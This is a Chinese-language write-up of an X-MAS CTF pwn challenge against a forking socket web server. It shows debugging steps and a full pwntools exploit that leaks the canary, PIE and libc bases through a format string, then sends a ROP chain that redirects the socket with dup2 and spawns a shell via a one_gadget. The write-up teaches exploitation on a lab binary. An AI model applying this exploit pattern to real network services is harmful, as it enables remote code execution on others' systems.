0x001 前言

最近空下来,做了一下X-MAS CTF的pwn题,题目质量很好,期间遇到一道web+pwn花了不少时间,主要从子进程调试、socket通信方面详细讨论如何解决这类基于socket服务的pwn题。

题目下载:

链接:https://pan.baidu.com/s/1G4L-B1rSydLRCJ-9Zcy9Ug 密码:wsxd

 

0x002 分析

题目给了一个基于socket的server(保护全开)以及libc.so

把server跑起来,通过浏览器访问http://localhost:1337,出现了这样一个页面,有点像web的画风,字面意思是:预留了了一个通过GET请求的接口

多翻尝试,发现可以这样调用

/?toy=base64_string

比如说,请求hello world页面,传入hello world的base64编码aGVsbG8gd29ybGQ=

先测试一下有没有溢出,传入一个超长串的base64编码

/?toy=QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ==

网页直接崩掉,server的启动终端提示stack smashing,说明发生溢出了,但有canary,下面找找可以info leak的洞

 

0x003 Bypass Canary

找到route函数,这里有一处fsb可以用于泄漏stack cookie

下面说说调试方法:

一般的pwn题,直接通过socat起来,要调试的只有一个进程;对于socket服务,当接收到请求,会fork出来一个子进程,该子进程的内存空间布局与父进程一致,同理,这样多次会话泄漏出来的Canary也完全一致。直接在子进程代码中下断点,程序是不会断下的,需要先设置跟随子进程set follow-fork-mode child

先在route处下断,设置跟随子进程,运行这段leak脚本

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def _request(gift,fmt,ctl):
    req = "GET /?toy={} HTTP/1.1rn".format(gift)
    req += "User-Agent: {}rn".format(fmt)

    s=remote("localhost",1337,level="error")
    s.s(req)
    try:
        if not ctl:
            return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
        else:
            return s.irt()
    except EOFError:
        return None
    finally:
        s.close()

def pwn():
    leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')

if __name__ == '__main__':
    pwn()

现在段在了printf调用的地方,查看栈上该处便是cookie

查看内存布局,顺便把pie_base、libc_base泄漏出来

对比基址,确定通过以下这几处可以泄漏0x0000555555556006-0x0000555555554000 = 0x20060x00007ffff7a2d830-0x00007ffff7a0d000 = 0x20830

换算一下,得到基址

 

0x004 Stack overflow

关于溢出点,找了好久,server设置跟随子进程,跑一下这段poc

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def pwn():
    pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
    pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
    pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
    pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc=    "
    req = "GET /?toy={} HTTP/1.1rn".format(pl)
    s=remote("localhost",1337,level="error")
    s.s(req)

if __name__ == '__main__':
    pwn()

子进程崩掉

查看栈回溯,发现在parse_query_string开始崩的

重新跟随子进程,停在base64decode函数调用的地方

先查看一下栈内容,现在是正常的

base64decode调用返回后,栈被覆盖了,通过对比正常的栈内容,得到stack_cookie的偏移0x928-0x8e0 = 0x48

查看函数base64decode的代码,最后确认溢出点在这里,a2是在调用base64decode传入的一个局部数组

查看栈布局,a2的缓冲区大小只有0x48,当越界了就会发生溢出

 

0x005 ROP

现在已经分析完了,下面就是常规栈溢出的做法了,只是要注意现在是在socket服务下的利用,还需要将标准输入、输出重定向到sockfd,可以这样构造rop chain

#1.Smash stack bypass
pl = ''
pl += 'a'*0x48
pl += p64(stack_cookie)
#2.Call dup2(4,1) [out]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(1)
pl += p64(libc.sym['dup2'])
#3.Call dup2(4,0) [in]
pl += p64(ret)*4
pl += p64(rdi)
pl += p64(4)
pl += p64(rdx_rsi)
pl += 'a'*8
pl += p64(0)
pl += p64(libc.sym['dup2'])
#4.Call system('/bin/sh')
pl += p64(ret)
pl += p64(libc.address+0x45216)
pl.rjust(200,'x00')

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys
import requests
import re

DEBUG = 4
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./server',checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    s = process('./toy')
elif DEBUG == 2:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    s = process('./toy', env={'LD_PRELOAD':'/root/workspace/expmake/libc_x64'})
elif DEBUG == 3:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)
    ip = 'localhost' 
    port = 1337
    s = remote(ip,port)
elif DEBUG == 4:
    libc = ELF('/root/workspace/expmake/libc_x64',checksec=False)

def _request(gift,fmt,ctl):
    req = "GET /?toy={} HTTP/1.1rn".format(gift)
    req += "User-Agent: {}rn".format(fmt)

    s=remote("localhost",1337,level="error")
    s.s(req)
    try:
        if not ctl:
            return re.findall("<br>(.*?)</small>", s.recvall())[0][10:]
        else:
            return s.irt()
    except EOFError:
        return None
    finally:
        s.close()

def pwn():
    leak = _request(b64e('wooy0ung'),'%p '*200,False).split(' ')
    #print leak

    pie_base = int(leak[0], 16) - 0x2006    # 0x0000555555556006-0x0000555555554000 = 0x2006
    stack_cookie = int(leak[6], 16)
    libc.address = int(leak[36],16) - 0x20830    # 0x7ffff7a2d830-0x00007ffff7a0d000 = 0x20830

    info("0x%x pie_base",pie_base)
    info("0x%x stack_cookie",stack_cookie)
    info("0x%x libc.address",libc.address)

    '''
    pl = "QWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWIxQWIyQWIzQWI0QWI1QWI2QWI3QWI4"
    pl += "QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3"
    pl += "QWQ4QWQ5QWUwQWUxQWUyQWUzQWU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2"
    pl += "QWY3QWY4QWY5QWcwQWcxQWcyQWczQWc0QWc1QWc=    "
    req = "GET /?toy={} HTTP/1.1rn".format(pl)
    s=remote("localhost",1337,level="error")
    s.s(req)
    '''
    ret = pie_base + 0x0000000000000c4e
    rdi = pie_base + 0x0000000000001d9b
    rsi_r15 = pie_base + 0x0000000000001d99
    rdx_rsi = libc.address + 0x00000000001150c9

    #1.Smash stack bypass
    pl = ''
    pl += 'a'*0x48
    pl += p64(stack_cookie)
    #2.Call dup2(4,1) [out]
    pl += p64(ret)*4
    pl += p64(rdi)
    pl += p64(4)
    pl += p64(rdx_rsi)
    pl += 'a'*8
    pl += p64(1)
    pl += p64(libc.sym['dup2'])
    #3.Call dup2(4,0) [in]
    pl += p64(ret)*4
    pl += p64(rdi)
    pl += p64(4)
    pl += p64(rdx_rsi)
    pl += 'a'*8
    pl += p64(0)
    pl += p64(libc.sym['dup2'])
    #4.Call system('/bin/sh')
    pl += p64(ret)
    pl += p64(libc.address+0x45216) # one_gadget
    pl.rjust(200,'x00')

    _request(b64e(pl),'',True)

if __name__ == '__main__':
    pwn()

WIN~

源链接

Hacking more

...